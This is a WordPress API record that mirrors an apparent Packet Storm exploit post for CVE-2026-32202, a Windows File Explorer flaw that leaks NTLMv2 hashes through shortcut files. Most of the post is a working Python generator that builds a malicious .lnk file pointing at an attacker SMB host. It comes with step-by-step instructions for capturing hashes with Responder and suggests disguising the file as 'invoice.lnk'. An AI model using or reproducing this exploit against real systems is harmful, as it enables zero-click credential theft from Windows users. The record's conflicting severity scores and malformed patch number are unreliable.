{"id":57525,"date":"2026-05-27T11:52:12","date_gmt":"2026-05-27T11:52:12","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=57525"},"modified":"2026-05-27T11:52:12","modified_gmt":"2026-05-27T11:52:12","slug":"windows-shell-lnk-spoofing-ntlmv2-hash-capture","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=57525","title":{"rendered":"\ud83d\udcc4 Windows Shell LNK Spoofing \/ NTLMv2 Hash Capture_PACKETSTORM:222045"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-27T16:16:10&#8243;,&#8221;description&#8221;:&#8221;A spoofing vulnerability in Windows Shell File Explorer allows an attacker to capture NTLMv2 hashes without user interaction. By crafting a malicious .lnk shortcut file with a UNC path pointing to an attacker-controlled SMB server, the target&#8217;s Windows&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-27T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-27T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Windows Shell LNK Spoofing \/ NTLMv2 Hash Capture&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:222045&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-32202&#8243;,&#8221;CVE-2026-32202&#8243;],&#8221;sourceData&#8221;:&#8221;# Titles: CVE-2026-32202 &#8211; Windows Shell LNK Spoofing to NTLMv2 Hash Capture\\n    # Author: nu11secur1ty\\n    # Date: 2026-05-27\\n    # Vendor: Microsoft\\n    # Software: Windows Shell (File Explorer)\\n    # Reference: https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2026-32202\\n    \\n    ## Description:\\n    A spoofing vulnerability in Windows Shell (File Explorer) allows an\\n    attacker to capture NTLMv2 hashes without user interaction. By crafting a\\n    malicious .lnk (shortcut) file with a UNC path pointing to an\\n    attacker-controlled SMB server, the target&#8217;s Windows system automatically\\n    sends an NTLMv2 authentication request when the folder containing the .lnk\\n    file is opened. No click on the shortcut is required \u2013 simply viewing the\\n    folder triggers the vulnerability.\\n    \\n    **CVSS**: 4.3 (Medium) \u2013 NetNTLMv2 hash leak\\n    **Attack Vector**: Network (SMB)\\n    **Privileges Required**: None (user only needs to open a folder)\\n    **User Interaction**: None (zero-click)\\n    \\n    **Affected Versions**:\\n    &#8211; Windows 11 23H2, 24H2, 25H2, 26H1\\n    &#8211; Windows 10 21H2-22H2\\n    &#8211; Windows Server 2019\/2022\/2025\\n    \\n    **Patch**: Microsoft April 2026 Patch Tuesday (KB2026-04214)\\n    \\n    STATUS: MEDIUM &#8211; HIGH\/ Vulnerability\\n    \\n    [+]Payload:\\n    \\n    &#8220;`POST\\n    SMB\/CIFS NTLMv2 Authentication Request\\n    UNC Path: \\\\\\\\ATTACKER_IP\\\\share\\\\payload.dll\\n    Protocol: SMB2 (port 445)\\n    Hash Type: NetNTLMv2\\n    &#8220;`\\n    [+]Exploit:\\n    \\n    &#8220;`\\n    #!\/usr\/bin\/env python3\\n    \\&#8221;\\&#8221;\\&#8221;\\n    CVE-2026-32202 LNK Exploit Generator\\n    Author: nu11secur1ty\\n    Generates LNK file that leaks NTLM hash to Responder\/Impacket\\n    \\&#8221;\\&#8221;\\&#8221;\\n    \\n    import struct\\n    import sys\\n    import os\\n    \\n    def create_malicious_lnk(attacker_ip, output_file=\\&#8221;exploit.lnk\\&#8221;,\\n    share_name=\\&#8221;share\\&#8221;):\\n        \\&#8221;\\&#8221;\\&#8221;\\n        Creates LNK file with UNC path to attacker machine\\n        \\&#8221;\\&#8221;\\&#8221;\\n    \\n        unc_path = f\\&#8221;\\\\\\\\\\\\\\\\{attacker_ip}\\\\\\\\{share_name}\\\\\\\\test\\&#8221;\\n        unc_utf16 = unc_path.encode(&#8216;utf-16le&#8217;) + b&#8217;\\\\x00\\\\x00&#8217;\\n    \\n        # LNK structure (standard + vulnerable component)\\n        lnk = bytearray()\\n    \\n        # ===== HEADER (76 bytes) =====\\n        lnk.extend(struct.pack(&#8216;\\u003cI&#8217;, 0x0000004C))  # HeaderSize\\n        # LinkCLSID: {00021401-0000-0000-C000-000000000046}\\n    \\n    lnk.extend(b&#8217;\\\\x01\\\\x14\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xc0\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x46&#8242;)\\n        lnk.extend(struct.pack(&#8216;\\u003cI&#8217;, 0x000002A3))  # LinkFlags\\n    (HasName|HasWorkingDir|HasArguments|IsUnicode)\\n        lnk.extend(struct.pack(&#8216;\\u003cI&#8217;, 0x00000080))  # FileAttributes (NORMAL)\\n        lnk.extend(struct.pack(&#8216;\\u003cQ&#8217;, 0))           # CreationTime\\n        lnk.extend(struct.pack(&#8216;\\u003cQ&#8217;, 0))           # AccessTime\\n        lnk.extend(struct.pack(&#8216;\\u003cQ&#8217;, 0))           # WriteTime\\n        lnk.extend(struct.pack(&#8216;\\u003cI&#8217;, 0x00001000))  # FileSize\\n        lnk.extend(struct.pack(&#8216;\\u003cI&#8217;, 0x00000000))  # IconIndex\\n        lnk.extend(struct.pack(&#8216;\\u003cI&#8217;, 0x00000001))  # ShowCommand (SW_NORMAL)\\n        lnk.extend(struct.pack(&#8216;\\u003cH&#8217;, 0x0000))      # Hotkey\\n        lnk.extend(b&#8217;\\\\x00\\\\x00&#8242;)                    # Reserved\\n        lnk.extend(b&#8217;\\\\x00\\\\x00\\\\x00\\\\x00&#8242;)            # Reserved2\\n        lnk.extend(b&#8217;\\\\x00\\\\x00\\\\x00\\\\x00&#8242;)            # Reserved3\\n    \\n        # ===== IDLIST (activates when folder is opened) =====\\n        # Shell Folder IDITEM\\n        lnk.extend(b&#8217;\\\\x14\\\\x00&#8242;)                    # ItemID size (20 bytes)\\n    \\n    lnk.extend(b&#8217;\\\\x2e\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00&#8242;)\\n        lnk.extend(b&#8217;\\\\x00\\\\x00&#8242;)                    # Terminating ID\\n    \\n        # ===== STRING DATA (CRITICAL FOR EXPLOIT) =====\\n        # NameString (UNC path &#8211; triggers NTLM hash leak)\\n        lnk.extend(struct.pack(&#8216;\\u003cH&#8217;, len(unc_utf16)))\\n        lnk.extend(unc_utf16)\\n    \\n        # ArgumentsString (empty)\\n        lnk.extend(b&#8217;\\\\x00\\\\x00&#8242;)\\n    \\n        # WorkingDir (UNC path again)\\n        lnk.extend(struct.pack(&#8216;\\u003cH&#8217;, len(unc_utf16)))\\n        lnk.extend(unc_utf16)\\n    \\n        # ===== Console Properties (required for some Windows versions) =====\\n        lnk.extend(b&#8217;\\\\x50\\\\x00\\\\x14\\\\x00&#8242;)           # dwWindowSize (80&#215;20)\\n        lnk.extend(b&#8217;\\\\x50\\\\x00\\\\xfa\\\\x00&#8242;)           # dwBufferSize (80&#215;250)\\n        lnk.extend(b&#8217;\\\\x00\\\\x00\\\\x00\\\\x00&#8242;)           # dwFontSize\\n        lnk.extend(b&#8217;\\\\x00\\\\x00\\\\x00\\\\x00&#8242;)           # dwFontFamily\\n        lnk.extend(b&#8217;\\\\x00\\\\x00\\\\x00\\\\x00&#8242;)           # dwFaceNameLen\\n        lnk.extend(b&#8217;\\\\x00\\\\x00\\\\x00\\\\x00&#8242;)           # dwFaceNameOffset\\n        lnk.extend(b&#8217;\\\\x00\\\\x00\\\\x00\\\\x00&#8242;)           # dwStyle\\n        # 64 bytes padding\\n        lnk.extend(b&#8217;\\\\x00&#8242; * 64)\\n    \\n        # Save the file\\n        with open(output_file, &#8216;wb&#8217;) as f:\\n            f.write(lnk)\\n    \\n        return output_file, unc_path\\n    \\n    def main():\\n        print(r\\&#8221;\\&#8221;\\&#8221;\\n        \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n        \u2551  CVE-2026-32202 &#8211; LNK Generator           \u2551\\n        \u2551  Author: nu11secur1ty                     \u2551\\n        \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\n        \\&#8221;\\&#8221;\\&#8221;)\\n    \\n        if len(sys.argv) \\u003c 2:\\n            print(\\&#8221;Usage: python3 cve_2026_32202_gen.py \\u003cATTACKER_IP\\u003e\\n    [output_file]\\&#8221;)\\n            print(\\&#8221;Example: python3 cve_2026_32202_gen.py 192.168.1.100\\n    invoice.lnk\\&#8221;)\\n            sys.exit(1)\\n    \\n        attacker_ip = sys.argv[1]\\n        output_file = sys.argv[2] if len(sys.argv) \\u003e 2 else \\&#8221;exploit.lnk\\&#8221;\\n    \\n        lnk_file, unc_path = create_malicious_lnk(attacker_ip, output_file)\\n    \\n        print(f\\&#8221;[+] Exploit ready!\\&#8221;)\\n        print(f\\&#8221;[+] File: {lnk_file}\\&#8221;)\\n        print(f\\&#8221;[+] UNC path: {unc_path}\\&#8221;)\\n        print()\\n        print(\\&#8221;[*] Next steps:\\&#8221;)\\n        print(f\\&#8221;    1. Start Responder: sudo responder -I eth0 -v\\&#8221;)\\n        print(f\\&#8221;    2. Transfer {lnk_file} to Windows 11 Desktop\\&#8221;)\\n        print(f\\&#8221;    3. Open Desktop in File Explorer (no click required)\\&#8221;)\\n        print(f\\&#8221;    4. Watch Responder &#8211; NTLM hash will appear\\&#8221;)\\n        print()\\n    \\n        with open(\\&#8221;start_responder.sh\\&#8221;, \\&#8221;w\\&#8221;) as f:\\n            f.write(\\&#8221;#!\/bin\/bash\\\\n\\&#8221;)\\n            f.write(\\&#8221;echo \\\\\\&#8221;[+] Starting Responder&#8230;\\\\\\&#8221;\\\\n\\&#8221;)\\n            f.write(\\&#8221;sudo responder -I eth0 -v\\\\n\\&#8221;)\\n        os.chmod(\\&#8221;start_responder.sh\\&#8221;, 0o755)\\n        print(\\&#8221;[+] Helper script created: start_responder.sh\\&#8221;)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()\\n    &#8220;`\\n    \\n    \\n    Demo:\\n    [href](https:\/\/www.patreon.com\/posts\/cve-2026-32202-159362448)\\n    \\n    Code:\\n    [code](\\n    https:\/\/github.com\/nu11secur1ty\/CVE-mitre\/tree\/main\/2026\/CVE-2026-32202)\\n    \\n    Time spent:\\n    02:30:00\\n    \\n    &#8211;&#8220;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/222045&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.1,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:H\/UI:N\/S:C\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/222045\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-27T16:16:10&#8243;,&#8221;description&#8221;:&#8221;A spoofing vulnerability in Windows Shell File Explorer allows an attacker to capture NTLMv2 hashes without user interaction. By crafting a malicious .lnk shortcut file&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,10,12,13,53,7,11,5],"class_list":["post-57525","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-91","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Windows Shell LNK Spoofing \/ NTLMv2 Hash Capture_PACKETSTORM:222045 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=57525\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Windows Shell LNK Spoofing \/ NTLMv2 Hash Capture_PACKETSTORM:222045 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-27T16:16:10&#8243;,&#8221;description&#8221;:&#8221;A spoofing vulnerability in Windows Shell File Explorer allows an attacker to capture NTLMv2 hashes without user interaction. By crafting a malicious .lnk shortcut file...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=57525\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-27T11:52:12+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=57525#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=57525\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Windows Shell LNK Spoofing \\\/ NTLMv2 Hash Capture_PACKETSTORM:222045\",\"datePublished\":\"2026-05-27T11:52:12+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=57525\"},\"wordCount\":1107,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.1\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=57525#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=57525\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=57525\",\"name\":\"\ud83d\udcc4 Windows Shell LNK Spoofing \\\/ NTLMv2 Hash Capture_PACKETSTORM:222045 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-05-27T11:52:12+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=57525#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=57525\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=57525#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Windows Shell LNK Spoofing \\\/ NTLMv2 Hash Capture_PACKETSTORM:222045\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Windows Shell LNK Spoofing \/ NTLMv2 Hash Capture_PACKETSTORM:222045 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=57525","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Windows Shell LNK Spoofing \/ NTLMv2 Hash Capture_PACKETSTORM:222045 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-05-27T16:16:10&#8243;,&#8221;description&#8221;:&#8221;A spoofing vulnerability in Windows Shell File Explorer allows an attacker to capture NTLMv2 hashes without user interaction. By crafting a malicious .lnk shortcut file...","og_url":"https:\/\/zero.redgem.net\/?p=57525","og_site_name":"zero redgem","article_published_time":"2026-05-27T11:52:12+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=57525#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=57525"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Windows Shell LNK Spoofing \/ NTLMv2 Hash Capture_PACKETSTORM:222045","datePublished":"2026-05-27T11:52:12+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=57525"},"wordCount":1107,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.1","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=57525#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=57525","url":"https:\/\/zero.redgem.net\/?p=57525","name":"\ud83d\udcc4 Windows Shell LNK Spoofing \/ NTLMv2 Hash Capture_PACKETSTORM:222045 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-05-27T11:52:12+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=57525#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=57525"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=57525#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Windows Shell LNK Spoofing \/ NTLMv2 Hash Capture_PACKETSTORM:222045"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/57525","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=57525"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/57525\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=57525"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=57525"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=57525"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}